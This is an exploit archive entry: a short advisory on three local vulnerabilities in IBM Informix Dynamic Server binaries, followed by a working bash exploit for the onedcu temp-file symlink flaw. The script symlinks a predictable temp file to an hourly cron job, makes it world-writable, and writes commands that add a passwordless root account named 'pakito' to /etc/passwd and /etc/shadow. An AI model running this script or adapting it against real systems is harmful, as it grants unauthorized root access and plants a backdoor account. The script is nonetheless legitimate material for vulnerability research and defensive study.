47 lines
No EOL
2 KiB
Bash
Executable file
47 lines
No EOL
2 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/9512/info
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IBM Informix Dynamic Server and IBM Informix Extended Parallel Server have been reported prone to multiple vulnerabilities.
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The first issue exists in the onedcu binary. Specifically, when the binary is invoked a predictable temporary file is created. A local attacker may exploit this issue to launch symbolic link style attacks ultimately resulting in elevated privileges.
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The second issue that has been reported to exist in the ontape binary. The ontape binary has been reported to be prone to a local stack based buffer overflow vulnerability. Ultimately the attacker may exploit this condition to influence execution flow of the vulnerable binary into attacker-controlled memory. This may lead to the execution of arbitrary instructions with elevated privileges.
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A third issue has been reported to affect the onshowaudit binary. Specifically, the onshowaudit binary reads data from temporary files contained in the "tmp? directory. These files have predictable filenames; an attacker may exploit this issue to disclose data that may be used in further attacks launched against the vulnerable system.
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#!/bin/bash
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ONEDCU=/home/informix-9.40/bin/onedcu
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CRONFILE=/etc/cron.hourly/pakito
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USER=pakito
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DIR=./trash
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export INFORMIXDIR=/home/informix-9.40/
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export ONCONFIG=onconfig.std
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if [ -d $DIR ]; then
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echo Trash directory already created
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else
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mkdir $DIR
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fi
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cd $DIR
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if [ -f ./"\001" ]; then
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echo Link Already Created
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else
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ln -s $CRONFILE `echo -e "\001"`
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fi
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umask 000
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$ONEDCU &
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kill -9 `pidof $ONEDCU`
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echo "echo "#!/bin/bash"" > $CRONFILE
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echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
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echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
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echo " "
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echo " This vulnerability was researched by Juan Manuel Pascual Escriba"
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echo " 08/08/2003 Barcelona - Spain pask@
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3s.com
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echo " "
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echo " must wait until cron execute $CRONFILE and then exec su pakito" |